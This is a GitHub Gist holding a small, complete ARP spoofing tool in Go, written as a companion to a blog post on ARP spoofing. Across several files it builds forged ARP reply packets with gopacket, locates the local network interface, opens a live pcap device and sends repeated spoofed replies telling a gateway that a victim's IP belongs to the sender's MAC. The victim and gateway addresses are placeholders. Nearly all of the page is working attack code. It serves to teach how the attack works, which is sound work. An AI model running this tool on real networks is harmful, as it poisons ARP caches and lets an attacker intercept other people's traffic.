Last active
July 13, 2025 20:18
-
-
Save kkrypt0nn/845488a984ea1a5874a7586bfa21c3be to your computer and use it in GitHub Desktop.
A very minimalist ARP spoofer written in Go for my blog post available at https://krypton.ninja/What-is-ARP-Spoofing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"net" | |
"github.com/google/gopacket" | |
"github.com/google/gopacket/layers" | |
) | |
type Address struct { | |
ip net.IP | |
mac net.HardwareAddr | |
} | |
func NewAddress(ip net.IP, mac net.HardwareAddr) *Address { | |
return &Address{ | |
ip: ip, | |
mac: mac, | |
} | |
} | |
func (a *Address) GetIP() net.IP { | |
return a.ip | |
} | |
func (a *Address) GetMAC() net.HardwareAddr { | |
return a.mac | |
} | |
var Options = gopacket.SerializeOptions{ | |
FixLengths: true, | |
ComputeChecksums: true, | |
} | |
func NewARPReplyPacket(src *Address, dst *Address) ([]byte, error) { | |
ethLayer := layers.Ethernet{ | |
SrcMAC: src.mac, | |
DstMAC: dst.mac, | |
EthernetType: layers.EthernetTypeARP, | |
} | |
arpLayer := layers.ARP{ | |
AddrType: layers.LinkTypeEthernet, | |
Protocol: layers.EthernetTypeIPv4, | |
HwAddressSize: 6, | |
ProtAddressSize: 4, | |
Operation: layers.ARPReply, | |
SourceHwAddress: src.mac, | |
SourceProtAddress: src.ip.To4(), | |
DstHwAddress: dst.mac, | |
DstProtAddress: dst.ip.To4(), | |
} | |
buffer := gopacket.NewSerializeBuffer() | |
if err := gopacket.SerializeLayers(buffer, Options, ðLayer, &arpLayer); err != nil { | |
return nil, err | |
} | |
return buffer.Bytes(), nil | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module github.com/kkrypt0nn/arp_poc | |
go 1.24.5 | |
require ( | |
github.com/google/gopacket v1.1.19 | |
github.com/kkrypt0nn/tangra v1.1.0 | |
) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"net" | |
"strings" | |
"time" | |
"github.com/google/gopacket/pcap" | |
) | |
// Obviously these are not accurate but fictive addresses | |
const ( | |
VictimIP = "192.168.13.37" | |
VictimMAC = "13:de:ad:be:ef:37" | |
GatewayIP = "192.168.13.1" | |
GatewayMAC = "13:ca:fe:be:ef:37" | |
Timeout = 5 * time.Second | |
TotalPacketsToSend = 15 | |
) | |
func parseMAC(addr string) net.HardwareAddr { | |
mac, err := net.ParseMAC(addr) | |
if err != nil { | |
panic("Invalid MAC address: " + addr) | |
} | |
return mac | |
} | |
func main() { | |
// Create a new session | |
s := NewSession() | |
// Get the interface | |
ifaces, err := net.Interfaces() | |
if err != nil { | |
s.logger.Fatal("Failed to retrieve interfaces: " + err.Error()) | |
return | |
} | |
for _, iface := range ifaces { | |
if iface.HardwareAddr == nil { | |
continue | |
} | |
addrs, err := iface.Addrs() | |
if err != nil { | |
s.logger.Fatal("Failed to retrieve the addresses of the interface: " + err.Error()) | |
return | |
} | |
for _, addr := range addrs { | |
if strings.Split(addr.String(), "/")[0] == s.ip.String() { | |
// Set the current interface & MAC address | |
s.iface = iface | |
s.mac = iface.HardwareAddr | |
break | |
} | |
} | |
} | |
// Get the device to listen to | |
devices, err := pcap.FindAllDevs() | |
if err != nil { | |
s.logger.Fatal("Failed to retrieve devices: " + err.Error()) | |
return | |
} | |
for _, device := range devices { | |
for _, address := range device.Addresses { | |
if address.IP.To4().String() == s.ip.String() { | |
s.device = device | |
break | |
} | |
} | |
} | |
// Open the device and be prepared to send the spoofed packets | |
handler, err := pcap.OpenLive(s.device.Name, 65535, true, pcap.BlockForever) | |
if err != nil { | |
s.logger.Fatal("Failed to open device: " + err.Error()) | |
return | |
} | |
// Prepare two ARP reply packets | |
victim := NewAddress(net.ParseIP(VictimIP), parseMAC(VictimMAC)) | |
gateway := NewAddress(net.ParseIP(GatewayIP), parseMAC(GatewayMAC)) | |
src := NewAddress(s.ip, s.mac) | |
// arpToVictim, _ := NewARPReplyPacket(src, victim) | |
arpToGateway, _ := NewARPReplyPacket(src, gateway) | |
s.logger.Info("Sending spoofed ARP replies: " + | |
"Victim IP = " + victim.GetIP().String() + | |
", Victim MAC = " + victim.GetMAC().String() + | |
" | Gateway IP = " + gateway.GetIP().String() + | |
", Gateway MAC = " + gateway.GetMAC().String() + | |
" | Interval = " + Timeout.String()) | |
// Send the packets | |
for i := 0; i < TotalPacketsToSend; i++ { | |
// err = handler.WritePacketData(arpToVictim) | |
err = handler.WritePacketData(arpToGateway) | |
if err != nil { | |
s.logger.Error("Failed to send packet: " + err.Error()) | |
} | |
time.Sleep(Timeout) | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"net" | |
"github.com/google/gopacket/pcap" | |
"github.com/kkrypt0nn/tangra" | |
) | |
// Some wacky way to get the outbound IP address ^-^ | |
func getOutboundIP() net.IP { | |
conn, err := net.Dial("udp", "8.8.8.8:80") | |
if err != nil { | |
panic(err) | |
} | |
defer conn.Close() | |
return conn.LocalAddr().(*net.UDPAddr).IP | |
} | |
type Session struct { | |
iface net.Interface | |
device pcap.Interface | |
ip net.IP | |
mac net.HardwareAddr | |
logger *tangra.Logger | |
} | |
func NewSession() *Session { | |
return &Session{ | |
ip: getOutboundIP(), // This will try to resolve the IP, if it's inaccurate you can hard-code it.. | |
logger: tangra.NewLogger(), | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment